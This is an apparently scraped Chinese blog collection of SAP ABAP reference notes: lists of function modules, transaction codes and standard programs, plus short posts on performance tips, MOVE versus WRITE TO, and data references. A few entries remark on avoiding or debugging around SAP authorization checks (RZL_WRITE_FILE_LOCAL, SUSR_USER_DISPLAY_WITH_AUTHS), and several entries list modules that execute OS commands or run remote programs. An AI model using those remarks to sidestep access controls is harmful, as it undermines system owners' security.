FTP_DISCONNECT –關閉指向FTP伺服器的連接配接。

FORMAT_MESSAGE - Takes a message id and number, and puts it into a variable。 Works better than WRITE_MESSAGE, since some messages use $ as a place holder, and WRITE_MESSAGE does not accommodate that, it only replaces the ampersands (&) in the message。

GET_GLOBAL_SYMBOLS – 傳回一個程式的tables, select options, texts, etc 。甚至包含selection screen的文本定義。

GET_INCLUDETAB – 獲得一個程式的INCLUDES清單。

GUI_CREATE_DIRECTORY –在顯示伺服器端建立一個目錄 。

GUI_DELETE_FILE – 在顯示伺服器端删除一個檔案 。

GUI_DOWNLOAD – 從應用伺服器下載下傳内表到顯示伺服器。

GUI_EXEC – 調用一個檔案或程式,取代了WS_EXECUTE。

GUI_GET_DESKTOP_INFO – 獲得用戶端桌面資訊,取代了WS_QUERY。

GUI_REMOVE_DIRECTORY – 從顯示伺服器删除一個目錄 。

GUI_RUN – 啟動一個檔案或程式 。

GUI_UPLOAD – 從顯示伺服器上傳檔案到應用伺服器,取代了WS_UPLOAD。

HELP_START – 為一個字段顯示幫助。 Useful for doing AT SELECTION SCREEN ON VALUE REQUEST for those fields that do not provide F4 help at the DDIC level。

HOLIDAY_GET – 基于Factory Calendar&/ Holiday Calendar提供了一個節日表。

INIT_TEXT –上傳長文本到SAP。

K_WERKS_OF_BUKRS_FIND – 傳回一個特定公司代碼的所有工廠。

LIST_TO_ASCII –将ABAP報表從 OTF形式轉換成ASCII 形式。

LIST_FROM_MEMORY – Retrieves the output of a report from memory when the report was executed using SUBMIT。。。EXPORTING LIST TO MEMORY。 See also WRITE_LIST。

MONTH_NAMES_GET – 獲得所有的月和名字

**** MS_EXCEL_OLE_STANDARD_OLE – 建立一個檔案并自動啟動Excel 。

CONVERT_OTFSPOOLJOB_2_PDF - converts a OTF spool to PDF (i。e。 Sap script document)

CONVERT_ABAPSPOOLJOB_2_PDF -convert ABAP spool output to PDF

POPUP_TO_CONFIRM_LOSS_OF_DATA – 彈出一個對話框告知使用者有可能丢失資料,詢問是否操作繼續。

POPUP_TO_CONFIRM_STEP -彈出一個對話框詢問使用者是否操作繼續。

POPUP_TO_CONFIRM_WITH_MESSAGE  可以顯示定制的提示資訊的确認視窗 類似POPUP_TO_CONFIRM_STEP,隻是多三行的文本錯誤診斷提示。

POPUP_TO_CONFIRM_WITH_VALUE  用此函數可以建立一個對話框用于詢問使用者是否執行某步操作,該操作可能會丢失資料,使用者可以選擇Yes No                             或者Cancel。該函數可以傳入一個标題,兩行的文本(提示問題)和一個對象值

POPUP_TO_DECIDE              顯示一個對話框,使用者可以兩個操作中的一個或者取消。可以傳入三行提示文本

POPUP_TO_DECIDE_WITH_MESSAGE   類似POPUP_TO_DECIDE

POPUP_TO_DISPLAY_TEXT  顯示多行資訊的視窗

POPUP_TO_SELECT_MONTH –彈出一個對話框供選擇月。

POPUP_WITH_TABLE_DISPLAY -Provide a display of a table for user to select one,

with the value of the table line returned when selected。

PRICING – 獲得定價條件

PROFILE_GET - 從INI檔案讀取一條記錄

PROFILE_SET – 往INI檔案寫一條記錄

READ_TEXT – 上傳長文本

REGISTRY_GET – 從系統資料庫讀取一條記錄

REGISTRY_SET – 在系統資料庫裡設定一條記錄

RFC_ABAP_INSTALL_AND_RUN – 當MODE參數值為‘F’時運作PROGRAM表中的程式'.

RH_GET_ACTIVE_WF_PLVAR – 獲得激活的HR計劃

RH_START_EXCEL_WITH_DATA – 啟動Excel并用内表給檔案指派

RH_STRUC_GET –傳回所有相關的組織資訊

RP_CALC_DATE_IN_INTERVAL – 年月日加減

RP_LAST_DAY_OF_MONTHS – 獲得一個月的最後一天

RPY_DYNPRO_READ – 讀取螢幕

RPY_TRANSACTION_READ – 給定一個事務代碼,獲得其程式和螢幕;或給定一個程式和螢幕獲得事務代碼

RS_COVERPAGE_SELECTIONS – 獲得一個報表的選擇參數清單。

RS_REFRESH_FROM_SELECTOPTIONS –獲得目前選擇螢幕的内容

RS_SEND_MAIL_FOR_SPOOLLIST – 在程式中給SAP office 發送消息

RS_VARIANT_CONTENTS – 獲得一個變式的内容

RZL_SLEEP – 将目前程式挂起

RZL_SUBMIT – 送出一個遠端報表

RZL_READ_DIR_LOCAL – 讀取應用伺服器的目錄

RZL_READ_DIR – 如果伺服器名字左部為空,從本地讀取目錄,否則讀取遠端伺服器的目錄

RZL_READ_FILE – 如果為給定伺服器名字則讀取本地檔案,否則讀取遠端伺服器檔案。

RZL_WRITE_FILE_LOCAL - 将内表儲存到顯示伺服器(not PC). 不使用OPEN DATASET是以避免了授權檢查。

SAPGUI_PROGRESS_INDICATOR – 顯示一個進度條

SAVE_TEXT – 上傳長文本

SCROLLING_IN_TABLE –當編寫子產品池的時候可以用它來處理滾動

SD_DATETIME_DIFFERENCE – 兩日期作差

SO_NEW_DOCUMENT_ATT_SEND_API1 - 将文檔作為郵件的一部分發送

SO_SPLIT_FILE_AND_PATH – 将一個包含路徑的全檔案名分割為檔案名和路徑

SO_SPOOL_READ – 根據SPOOL号獲得printer spool

SO_WIND_SPOOL_LIST – 根據使用者浏覽printer spool号

SX_OBJECT_CONVERT_OTF_PDF – 從OTF轉換為PDF (SAP 腳本轉換)

SX_OBJECT_CONVERT_OTF_PRT – 從OTF轉換為列印機格式(SAP 腳本轉換)

SX_OBJECT_CONVERT_OTF_RAW – 從OTF轉換為ASCII(SAP 腳本轉換)

SXPG_CALL_SYSTEM - 檢查使用者是否有執行某個指令的權限

SXPG_COMMAND_LIST_GET – 獲得一個包含所有定義的外部OS指令的清單.

SXPG_COMMAND_DEFINITION_GET – 從R/3系統資料庫讀取單個外部OS指令的定義

SXPG_COMMAND_CHECK - 檢查使用者是否有執行某個指令的權限

SXPG_COMMAND_EXECUTE -檢查使用者是否有執行某個指令的權限,擁有授權則執行指令

TERMINAL_ID_GET –傳回終端ID

TH_DELETE_USER – 剔除一個使用者,效果同SM04

TH_ENVIRONMENT – 獲得UNIX環境

TH_POPUP –在特定使用者螢幕上顯示一個系統消息

TH_REMOTE_TRANSACTION – 在遠端伺服器上運作事務代碼

TH_USER_INFO – 獲得目前使用者的資訊 (會話,登陸的工作台等)

TH_USER_LIST –顯示登陸到應用伺服器的使用者清單

UNIT_CONVERSION_SIMPLE –衡量機關轉換

UPLOAD –上傳檔案到顯示伺服器

UPLOAD_FILES – 上傳一個或多個檔案

WRITE_LIST –顯示一個清單對象

WS_DOWNLOAD –将内表下載下傳到顯示伺服器

WS_EXCEL –啟動EXCEL

WS_EXECUTE –執行一個程式

WS_FILE_DELETE – 删除一個檔案

WS_FILENAME_GET –調用檔案選擇對話框

WS_MSG –顯示一個對話框顯示線上消息

WS_UPLOAD – 從顯示伺服器上傳檔案到内表

WS_VOLUME_GET –獲得終端裝置标簽

WWW_LIST_TO_HTML – 運作一個報表之後,調用這個方法将清單輸出轉換成HTML

SD_VBAP_READ_WITH_VBELN 根據銷售訂單讀取表vbap中的資訊

EDIT_LINES 把READ_TEXT傳回的LINES中的行按照TDFORMAT=“*”重新組織

VIEW_MAINTENANCE_CALL 維護表視圖

DY_GET_FOCUS 獲得螢幕焦點

DY_GET_SET_FIELD_VALUE 獲得或者設定螢幕字段的值

F4IF_INT_TABLE_VALUE_REQUEST 顯示檢索help

CONVERSION_EXIT_CUNIT_OUTPUT 機關轉換

SJIS_DBC_TO_SBC 全角轉半角

SJIS_SBC_TO_DBC 半角轉換為全角

CO_R0_CHECK_DECIMAL_POINT 根據機關檢查資料的小數位

POSTAL_CODE_CHECK 檢查郵政編碼 GET_JOB_RUNTIME_INFO 獲得job相關資訊

TERMINAL_ID_GET 獲得終端

idDATE_CONVERT_TO_FACTORYDATE 把輸入日期轉為工廠月曆日期

MESSAGE_TEXT_BUILD 把消息轉為文本

CONVERT_TO_LOCAL_CURRENCY 按照指定日期匯率轉換金額為指定貨币類型

SSF_FUNCTION_MODULE_NAME 根據form名取得對應的函數名(SmartForm)

DATE_CHECK_PLAUSIBILITY 檢查日期合法性

CHECKcl_gui_frontend_services=>gui_upload 上傳到伺服器

cl_gui_frontend_services=>gui_download 下載下傳到本地

SSF_FUNCTION_MODULE_NAME SMARTFORMS輸出報表時,生成一個函數名稱,然後CALL這個名  

通過這個日期得出那天是星期幾

DAY_IN_WEEK

用來得到将來/過去的日期的

RP_CALC_DATE_IN_INTERVAL

日期的加減

BKK_ADD_MONTH_TO_DATE

一組有用的使用者互動視窗函數

POPUP_TO_CONFIRM_LOSS_OF_DATA 顯示有YES/NO的彈出視窗,提示使用者未儲存的資料将丢失

POPUP_TO_CONFIRM_STEP 提示是否确認操作的彈出視窗

POPUP_TO_CONFIRM_WITH_MESSAGE 可以顯示定制的提示資訊的确認視窗

POPUP_TO_CONFIRM_WITH_VALUE 顯示确認使用者對某個特定對象的操作的彈出視窗

POPUP_TO_DECIDE 将待确認選項以單選按鈕的方式顯示的彈出視窗

POPUP_TO_DECIDE_WITH_MESSAGE 帶消息的确認視窗

POPUP_TO_DISPLAY_TEXT 顯示多行資訊的視窗

POPUP_TO_SELECT_MONTH 月份選擇視窗

POPUP_WITH_TABLE_DISPLAY 有表格對象的确認視窗

一組操縱用戶端檔案系統的函數

GUI_CREATE_DIRECTORY 在PC上建立檔案目錄

GUI_DELETE_FILE 删除PC上的檔案

GUI_DOWNLOAD 檔案下載下傳函數

GUI_EXEC 執行PC上的程式,或者打開檔案

GUI_GET_DESKTOP_INFO 得到PC用戶端的系統資訊,比如作業系統等

GUI_REMOVE_DIRECTORY 删除PC目錄

GUI_RUN 運作PC程式(ShellExecute)

GUI_UPLOAD 從PC上傳程式

判斷某天是否是假日

HOLIDAY_CHECK_AND_GET_INFO

ABAP_DOCU_DOWNLOAD

Download ABAP documentation in HTML format.

GET_CURRENT_YEAR

得到目前的财政年(fiscal year)

察看某日期的屬性,包括該日期是星期幾,第幾天(周2=2),是不是公共假期等,需要輸入國家月曆。

DAY_ATTRIBUTES_GET

Return useful information about a day. Will tell you the day of the week as a word (Tuesday), the day of the week (2 would be Tuedsay), whether the day is a holiday, and more.(provided by Francois Henrotte)?

CLPB_IMPORT :從剪貼闆導入internal table

CLPB_EXPORT : 從internal table輸入到剪貼闆

示例程式:GRCLPB_1

=======

溝通無限

msn:[email protected]

18:05 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap abap programming---關于ABAP程式執行效率和優化(z)

程式的效率是每個程式員都應該重視的,無論是采用的哪一種語言進行開發.

在我做過的一個項目中,一個幾萬條資料的運作,在沒有考慮效率,對代碼沒有進行優化前的運作時間是7個小時,當對代碼進行一系列的優化修改後,運作的時間就隻剩一個小時,由此可見,代碼的優化是多麼的重要。

那麼,我們在寫ABAP程式時,怎樣的語句才能提高到效率呢,下面是我總結到的幾點:

1、抽取資料時,避免使用SELECT *, 盡量使用SELECT A B INTO TABLE ITAB這樣的語句。

2、不要使用SELECT...ENDSELECT語句。

3、盡量避免在LOOP中通路資料庫。可以在之前先把資料取到内表,在LOOP中用READ TABLE WITH KEY ... BINARY SEARCH.進行讀取對應的資料。

4、用SORT代替ORDER BY。

5、避免使用嵌套的循環。

6、盡量不要使用JOIN進行多表連接配接。把一個表的資料先取到内表,然後使用FOR ALL ENTRIES語句再進行抽取。

7、使用二分查找法。

   READ TABLE的之前使用SORT TABLE BY對内表進行排序, 然後使用READ TABLE WITH KEY ...BINARY SEARCH.

8、避免使用SELECT DISTINCT語句。在抽取資料到内表後用DELETE ADJACENT DUPLICATES語句來消除重複行。

9、盡量加多WHERE語句進行條件抽取。

以上,說的還不全,會進行不斷更新。

另外,可以通過TCODE:ST05 SE30 進行程式和SQL語句性能和效率的分析

17:59 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap 在ABAP 中 MOVE ... TO 和 WRITE ... TO 的差別

WRITE  ... TO 把源的格式 附值到目标。

MOVE ... TO 直接把源的值附到目标。

示例:

data: gv_char1(20) type c,

     gv_char2(20) type c,

     dec1(10) type p decimals 2 value '22345.89'.

start-of-selection.

* date *

  write:/ 'date variable'.

  write sy-datum to gv_char1.

  write:/ 'write to', gv_char1.

  move sy-datum to gv_char2.

  write:/ 'move to', gv_char2.

  skip 1.

* decimal *

  write:/ 'decimal variable'.

  write dec1 to gv_char1.

  write:/ 'write to', gv_char1.

  move dec1 to gv_char2.

  write:/'move to', gv_char2.

很全的ABAP入門資料

Assigning Values with MOVE

To assign the value of a data object source to a variable destination, use the following statement:

MOVE source TO destination.

or the equivalent statement

destination = source.

The content of source remains unchanged, source does not therefore have to be a variable - it can also be a literal, a text symbol, or a constant. You must always specify decimal points with a period (.), regardless of the user’s personal settings.

Multiple assignments

f4 = f3 = f2 = f1.

are also possible. ABAP processes them from right to left as follows:

MOVE f1 TO f2.

MOVE f2 TO f3.

MOVE f3 TO f4.

In the MOVE statement (or when you assign one value to another with the equal sign), it is not possible to specify the field names dynamically as the contents of other fields. If you need to do this, you must use field symbols .

The source and target fields can be of different data types. The result of the value assignment depends on whether these data types are compatible and whether a type conversion can be performed. If there is no conversion rule between the data types in question, no assignment can be made.

很全的ABAP入門資料

DATA: t(10) TYPE c,

      number TYPE p DECIMALS 2,

      count  TYPE i.

t = 1111.

MOVE '5.75' TO number.

count = number.

Following these assignments, the fields t, number and count have the values ‘1111      ’, 5.75, and 6 respectively. When you assign the number literal 1111 to T, it is converted into a character field with length 10. When you assign number tocount , the decimal number is rounded to an integer (as long as the program attributeFixed pt. arithmetic has been set).

Assigning Values Between Components of Structures

The rules for value assignments between data objects also apply to structures. With the command

DATA: struct1 TYPE structure,

struct2 TYPE structure.

struct1 = struct2.

two structures of the same type can be assigned to one another without difficulty. Here, the entire source structure is seen as a unit and copied to the source structure. It is then possible to access the components individually again. If the structures in question are not compatible, see the conversion rules for structures.

In practice, however, you will often only need to assign certain components of a structure to be certain components of another structure. ABAP has a special statement for this purpose:

MOVE-CORRESPONDING sourcestruct TO destinationstruct.

This statement assigns the contents of the components of structure sourcestruct to the components of the destinationstruct structure that have identical names.

When it is executed, it is broken down into a set of MOVEstatements, one for each pair of fields with identical names, as follows:

MOVE sourcestruct-comp1 TO destinationstruct-comp1.

MOVE sourcestruct-comp2 TO destinationstruct-comp2.

...

Any necessary type conversions are performed individually.

很全的ABAP入門資料

DATA: BEGIN OF address,

        firstname(20) TYPE c VALUE 'Fred',

        surname(20) TYPE c VALUE 'Flintstone',

        initials(4) TYPE c VALUE 'FF',

        street(20) TYPE c VALUE 'Cave Avenue',

        number TYPE i VALUE '11',

        postcode(5) TYPE n VALUE '98765',

        city(20) TYPE c VALUE  'Bedrock',

      END OF address.

DATA: BEGIN OF name,

        surname(20) TYPE c,

        firstname(20) TYPE c,

        initials(4) TYPE c,

        title(10) TYPE c VALUE 'Mister',

      END OF name.

MOVE-CORRESPONDING address TO name.

In this example, the values of name-surname, name-firstname and name-initialsare set to 'Flintstone’, ‘Fred’, and 'FF'. name-title always has the value ‘Mister’.

很全的ABAP入門資料
很全的ABAP入門資料

17:33 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap ABAP--關于Data Reference的使用---FIELD-SYMBOLS

Data References(隻能指向abap定義的基本資料或者基本資料組合體)

1、定義資料參考變量(Data References)

DATA dref TYPE REF TO DATA.(指向任意類型,但在建立時必須指定對象類型)

DATA dref TYPE REF TO DATA_TYPE.

或者

TYPES t_dref TYPE REF TO DATA.

DATA dref TYPE t_dref.

在完成位址變量定義時,變量沒有指向任何對象,此時你不可引用。隻有在變量指派後在引用。位址變量的指派有兩種方法:

CREATE DATA

GET REFERENCE OF dobj INTO dref.

2、動态建立資料參考的記憶體空間(CREATE DATA)

CREATE DATA dref {TYPE type}|{LIKE dobj}這種語句建立的對象沒有名稱,隻有位址變量指向該記憶體變量;在申明參考變量時,未指定類型則必須加{TYPE type}|{LIKE dobj}說明。

有時需要動态建立動态類型資料對象,文法如下

CREATE DATA dref TYPE (name).

3、将資料位址指派給資料參考變量(GET REFERENCE)

GET REFERENCE OF dobj INTO dref.

4、通路資料參考變量指定的資料

通路資料參考變量指定的資料有兩種情況:

1) 對于使用DATA dref TYPE REF TO DATA_TYPE來聲明的資料參考變量,程式可以直接通過->*運算符直接通路資料;

代碼樣例

types: begin of STRUC_1,

         A type I,

         B type ref to SFLIGHT,

         C type P,

       end of STRUC_1.

data: S1 type STRUC_1.

types: begin of STRUC_2,

         X(10) type C,

         Y     type ref to STRUC_1,

         Z     type I,

       end of STRUC_2.

data:  S2 type STRUC_2,

       R2 type ref to STRUC_2.

if S1-A > 10.

  create data S1-B.

  S1-B->CARRID = 'LH'.

  S1-B->PAYMENTSUM = 1000.

endif.

S2-Y->A   = 100.

S2-Y->*-A = 200. "Same as S2-Y->A 

S2-Y->B->FLDATE = SY-DATUM.

2) 對于使用DATA dref TYPE REF TO DATA來聲明的資料參考變量,程式如果要通路資料參考變量指定的資料,你首先要将資料參考變量指派給一個字段符号(Field sysbol)(是不能直接通過資料參考變量來通路的).如果資料參考變量為初始化狀态, sy-subrc就傳回4。

ASSIGN dref->* TO <fs> [CASTING ...].

代碼樣例

DATA: numref     TYPE REF TO DATA,

      number     TYPE I VALUE 123.

FIELD-SYMBOLS: <fs> TYPE ANY.

GET REFERENCE OF number INTO numref.

ASSIGN numref->* TO <fs>.

===================================

溝通無限

msn:erp.exper[email protected]

17:12 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap abap系統自定的變量(TCODE)

sy-tabix           例如在loop的時候,此變量就代表目前所在行的index.

                       sy-tabix contains the index of the appended line.

sy-index          一個随着循環而增加的數字

sy-dyngr         four character id placed in system field sy-dyngr while screen is prossed.

sy-title            at runtime it contains the title.

se51                screen painter

tfawf                Field selection: Modifiable fields

sy-repid           目前的program name

sy-tcode          目前系統的tcode

screen-input=0表示禁止輸入

screen-active=0表示此按鈕不可用。

screen-invisible表示是否可見

we02                display idoc we09 search idoc we19 test idoc

tfawf Field selection: Modifiable fields

sy-dyngr            four character id placed in system field sy-dyngr while screen is prossed.

sy-title             at runtime it contains the title.

sy-dbcnt          正在處理的資料筆數

SE01: Create Customizing Transport.

SE11: Data Dictionary.

SE13: ABAP Dictionary.

SE14: Database Utility.

SE15: Respository Information System.

SE16: Data Browser.

SE17: General Table Display.

SE18: BADI Definition.

SE19: BADI Implementation.

SE37: Function Module.

SE38: Create Program.

SE51: Screen Painter.

SE55: Table View Maintenance.

SE71: Copy Script.

SE78: Upload graphics(RSTXLDMC).

SE81: Locating Customer Exit.

SE80: Function Groups.

SE91: Message Class.

SE93: Create Transaction Code.

SM30: Table Maintenance.

SM37: Background Processing.

SO10: Standard Text.

SCC1: Copy From Client.

RSTXSCRP: SAP Script.

SMOD: Locating Customer Exit.

WE42: Inbound Processing Procedure.

WEDI: IDOCS Area Code.

WE21: Port Definition.

WE01: View IDOCS.

SY-UZEIT: Current System Time.

SY-DATUM: Current System Data.

SY-TABIX: Index of Appended Line.

SY-SUBRC: Return Value After Specific Statements.

SY-DBCNT: Number of Elements in the Edited Dataset.

SY-LINSZ: Line Size.

SY-UCOMM: Current Function Code.

SY-DATAR: Check if a User Made Any Input.

SY-CPROG: Getting the Current Program Name.

最後下面是關于XI的tcode

ALRTCATDEF- Alerts Configuration.

ALRTDISP - Display of Alerts Created

SXMB_IFR -> Start Integration Builder

SXMB_MONI -> Integration Engine - Monitoring

SXI_MONITOR -> XI: Message Monitoring

SXI_CACHE ->   To Access IS runtime cache

SXI_SUPPORT -> Test all the Repository and Directory Objects

SXI_CACHE -> XI data directory cacheidx1 -> idoc adapter

IDX2 -> idoc metadata

IDX5 -> monitor idoc adapter

ST22 -> ABAP dump analysis

SMQ1 -> messages inbound e outbound queue

SMQ2 -> messages inbound e outbound queue

SMICM -> J2EE administration

ST06 -> Operating System Monitor. cpu memory filesystem machine status - cpu, memory and file system.

ST03 -> workload.

SCC4 -> Client Administration

sale - ale settings

RZ10 - edit system profile

SM59 ->mantain rfc destinations

BD64 -> mantain distribution model (trasformazioni)

AL08 -> list all logged users(user login logon)

SE10 -> Change Request

SE09 -> Change Request

WE05 -> All idocs

WE19 -> IDoc Test Tool

WE21 -> port definition

SE11 -> Data dictionary

se37 -> mantain funcion modules

SICF -> http server configuration

SMGW -> Gateway Monitor

BD13 ->

BD64 -> Maintenance of Distribution Model

PFCG -> Roles

table TSTC -> sap transactions codes

table TSTCT -> transaction descriptions

STMS -> transports management

SPAM -> apply ABAP support packages

SPAU -> manage objects after apply support packages

SE01 -> manage change requests

SLDCHECK -> Test SLD Connection

SLDAPICUST-> SLD API Customizing

SXMB_ADM -> Integration Engine - Administration

SXMB_MONI_BPE -> Process Engine - Monitoring

SE38 -> ABAP Editor

SE11 -> ABAP Dictionary

ST22 -> ABAP dump analysis

SPROXY-> ABAP Proxy Generation

SE80 -> Object Navigator

ABAPDOCU -> ABAP Documentation and Examples

SE24-> Class Builder

SM21-> Online System Log Analysis

SMQ1-> qRFC Monitor (Outbound Queue)

SMQ2-> qRFC Monitor (Inbound Queue)

RZ70-> SLD Administration

SM58-> Asynchronous RFC Error Log

SM59-> RFC Destinations (Display/Maintain)

SMICM-> ICM Monitor

WE60-> Documentation for IDoc types

BD87-> Status Monitor for ALE Messages

IDX1-> Port Maintenance in IDoc Adapter

IDX2-> Meta Data Overview in IDoc Adapter

WE02-> Display IDoc

WE09-> Search for IDocs by Content

WE20-> Partner Profiles

SE16-> Data Browser

SE93-> Maintain Transaction Codes

SM30-> Call View Maintenance

SU01-> User Maintenance

SM02-> System Messages

BD54 -Logical System Creation.

SWF_XI_PBUILDER -> for Detail BPM Process

SMQS - > to register the destination in QOUT scheduler

WEOUTQUEUE - > to start the queue processing

SMQR - > to register the queue

IDXPW - > to activate the IDOC message package

IDXP - > to monitor the message packages.

SWF_XI_CUSTOMIZING -> transaction to check prerequisites for integration processes.

SWF_XI_ADM_BPE-> Start or Stop BPE

SWF_XI_ADM_BPE_DISP-> Display BPE Status

SXI_MAPPING_Test--> Test ABAP Mapping

16:37 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap ABAP基礎 programming

分支結構(IF,CASE)

使用IF的條件分支

IF <condition1>.

<statement block>

ELSEIF <condition2>.

<statement block>

ELSEIF <condition3>.

<statement block>

.....

ELSE.

<statement block>

ENDIF.

l 例子:

l DATA flag TYPE c VALUE ‘a'.

l IF flag = ‘a‘.

l WRITE / ‘true‘.

l ELSE.

l WRITE / ‘error'.

l ENDIF.

l 産生如下輸 出:

true

使用CASE的條件分支

基本文法:

CASE <f>.

WHEN <F1>.

<statement block>

WHEN <F2>.

<statement block>

WHEN <F3>.

<statement block>

WHEN ...

......

WHEN OTHERS.

<statement block>

ENDCASE.

l 例子:

l DATA: TEXT1 VALUE 'X',

TEXT2 VALUE 'Y',

TEXT3 VALUE 'Z',

STRING VALUE 'A'.

l CASE STRING.

WHEN TEXT1.

WRITE: / 'String is', TEXT1.

WHEN TEXT2.

WRITE: / 'String is', TEXT2.

WHEN TEXT3.

WRITE: / 'String is', TEXT3.

WHEN OTHERS.

WRITE: / 'String is not', TEXT1, TEXT2, TEXT3.

ENDCASE.

l 産生如下輸出: String is not X Y Z

l 這裡,執行WHEN OTHERS後面的語句塊,因為 STRING 的内容“A” 不等于“X” 、“Y”或 “Z”,

循環結構(DO,WHILE)

使用DO的無條件循環

DO

[<n>TIMES]

[VARYING <f> FROM <F1> NEXT <F2>].

<statement block>

ENDDO.

• TIMES 循環次數,

• VARYING選項在每次循環中給變量<f>重新指派

• <n>可以是文字或變量。如果<n>是0或負數,系統不執行該循環

• 使用 DO 語句時要避免死循環。 如果不使用 TIMES 選項,則在語句塊中至少應包含一個 EXIT、 STOP 或 REJECT 語句,以便系統能夠退出循環。

• 例子:

• DO.

• WRITE SY-INDEX.

• IF SY-INDEX = 3.

EXIT.

ENDIF.

• ENDDO.

• 産生如下輸出:

• 1 2 3

• 這裡,處理 3 次循環,然後在 EXIT 語句後退出循環。

• SY-INDEX代表循環次數

使用WHILE的條件循環

文法:

– WHILE <condition> [VARY <f> FROM <F1> NEXT <F2>].

<statementblock>

ENDWHILE.

• 循環終止(CONTINUE,CHECK,EXIT)

無條件終止循環:CONTINUE

DO 4 TIMES.

IF SY-INDEX = 2.

CONTINUE.

ENDIF.

WRITE SY-INDEX.

ENDDO.

輸出結果:

1 3 4

• 有條件終止循環:CHECK <condition>

DO 4 TIMES.

CHECK SY-INDEX BETWEEN 2 and 3.

WRITE SY-INDEX.

ENDDO.

輸出結果:

2 3

3

完全終止循環:EXIT

DO 4 TIMES.

IF SY-INDEX = 3.

EXIT.

ENDIF.

WRITE SY-INDEX.

ENDDO.

輸出結果:

1 2

16:33 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap abap----常用的SAP标準函數(sap abap standard function)---and SAP standard programs

Function Module

Description

ABAP4_CALL_TRANSACTION

Call transaction code, also see SAPGUI_SET_FUNCTIONCODE

ADDR_PERS_COMP_COMM_GET

Get additional user address details not retrived by SUSR_USER_ADDRESS_READ (i.e. email address)

BAPI_COMPANYCODE_GET_PERIOD

Retrieve fiscal year and payrole period (based on date and company code)

CALCULATE_DATE

Increase/decrease DATE by a specific number of Days/Months

CONVERT_DATE_TO_EXTERNAL

Converts date from system storage format to users specified display format

CREATE_TEXTS

Create standard texts (i.e. PO headers texts)

CURRENCY_AMOUNT_SAP_TO_DISPLAY

Convert currency value from value stored in SAP to displayed currency

CURRENCY_AMOUNT_DISPLAY_TO_SAP

Convert currency value from displayed currency value to value stored in SAP

CLPB_EXPORT

Export files to clipboard

CLBP_IMPORT

Copies clipboard into table

DATE_COMPUTE_DAY

Returns day of the week for a particular date(1=Monday, 5=Friday etc.)

DATE_TO_DAY

Returns day of the week for a particular date('Monday', 'Friday', 'Sat.')

ENQUEUE_READ

Returns list if active lock objects

DETERMINE_PERIOD

Retrieve fiscal year and payrole period (Note: verision parameter is fiscal year varient from table T009)

DYNP_VALUES_UPDATE

Return values (i.e. from an F4 value request) into respective fields on a dynpro.

F4IF_INT_TABLE_VALUE_REQUEST

Display internal table as search help (documented in SAP)

FILE_GET_NAME

Retrieve Logical file path.

Use Transaction 'FILE' to view/create logical file paths

FTI_FISCAL_YEAR_MONTH_GET

Returns fiscal year for specific date

GUI_DOWNLOAD, WS_DOWNLOAD, DOWNLOAD

Download file to PC

GUI_UPLOAD, WS_UPLOAD, UPLOAD

Upload file from PC

HR_SEN_CRULE_0100_DATE

Increase/decrease DATE by a specific number of Days/Months/Years

JOB_OPEN, JOB_SUBMIT, JOB_CLOSE

Create and submit background jobs.

MESSAGE_TEXT_BUILD

Builds actual message based on info returned from Call transaction

NUMBER_GET_NEXT

Get the next unique number in a number range. Use tcode SNRO for maintaining number ranges.

NUMBER_CHECK

Check if number is within a number range (see tcode SNRO)

NUMBER_GET_INFO

Get info about number range (see tcode SNRO).

POPUP*

Display Pop-up Screen(s)

READ_TEXTS

Retrive standard texts (i.e. PO headers texts)

READ_EXCHANGE_RATE

Retrieve exchange rate on a particular date

RS_CREATE_VARIANT

Creating a Report Variant

RS_VARIANT_CONTENTS

Returns contents of a variant, is also useful as the result lists all variable names that could be set on screen.

RZL_READ_DIR_LOCAL

Get list of files within specific directory(Application Server)

SAPGUI_SET_FUNCTIONCODE

Execute SAP function code. Can also be used to execute transaction code by using '/o' i.e. '/OSE80'.

STUM_WP_TOTAL_ACTIVITY

Retrieves list of all process from all servers (i.e. SM50, SM66). Also returns a second table, containing a list of all the servers.

STUM_WP_SERVER_ACTIVITYS

& EW_TH_WPINFO

Retrieves list of processes on current server.

SUSR_USER_ADDRESS_READ

Get user address details stored under 'Own data'

SUSR_USER_PARAMETERS_GET

Get user parameter details stored under 'Own data'

SUSR_USER_DISPLAY_WITH_AUTHS

Displays user authorisation objects (Note: may have to debug around authority checks)

SUSR_USER_AGR_ACTIVITYGR_GET

Get users activity group details

SUSR_SYNC_USER_TABLES

Sync USR tables

SXPG_COMMAND_EXECUTE

Execute external command(FTP data in & out of SAP)

TH_POPUP

Display Windows Message on Users Screen

WS_EXECUTE

Execute External Program

===========================================================================

SAP standard programs

Program

Description

BALVBT01

Example SAP program for displying multiple ALV reports on one page

BCALV_GRID_DEMO

ALV Dialog grid demo (4.6)

SHOW_COLO

Displays all colours available

SHOW_ICON

Displays all icon available

RGUGBR00

Substitution/Validation and rules utility

RKCTSEAR

Search source code of various programs for up to two strings. Also see RPR_ABAP_SOURCE_SCAN or use search in source functionality via SE80

RPCIFU01

Display File

RPCIFU03

Download Unix File to PC

RPCIFU04

Upload PC File to Unix File

RPR_ABAP_SOURCE_SCAN

Search ABAP code for a string. Much more flexible than RSRSCAN1 or RKCTSEAR

RSBDCBTC

Submit a BDC job with an internal batch number and wait for the end of the batch input session

RSBDCDRU

Prints the contents of a Batch Input session. No options for error transactions only

RSBDCOS0

Execute OS Command (Logged in SYSLOG and Trace Files)

RSBDCSUB

Process batch input sessions automatically

RSBTCDEL

Delete batch jobs

RSCONN01

SAPconnect: Start Email Send Process

RSCSAUTH

Maintain/Restore Authorization Groups

RSINCL00

Extended ABAP Program Reference List

RSMODRES

Restore enhancement projects after upgarde

RSORAREL

Check Oracle Version

RSPARAM

Display all instance parameters

RSPO0041

Delete Old Spool Requests

RSSNAPDL

Reorganization Program for Table SNAP of Short Dumps

RSTRANSP

Transport Report Variants

RSTXFCON

SAPscript: Conversion of Page Format for Forms

RSTXPDFT4

Convert spool request to PDF document

RSTXPDFT5

GUI download of a spool request

RSTXSCRP

SAPscript Export to Dataset / SAPscript Import from Dataset (Upload and download SAPScript layout sets)

RSTXTRAN

Transfer of SAPscript Texts(standard texts) to a transport

RSUSR003

Check the Passwords of Users SAP* and DDIC in All Clients

RSUSR006

List of Users with Incorrect Logons

RSVARFIT

Adjust Variants to Modified Selections

RSVTPROT

Evaluation of change logs

RSWBO052

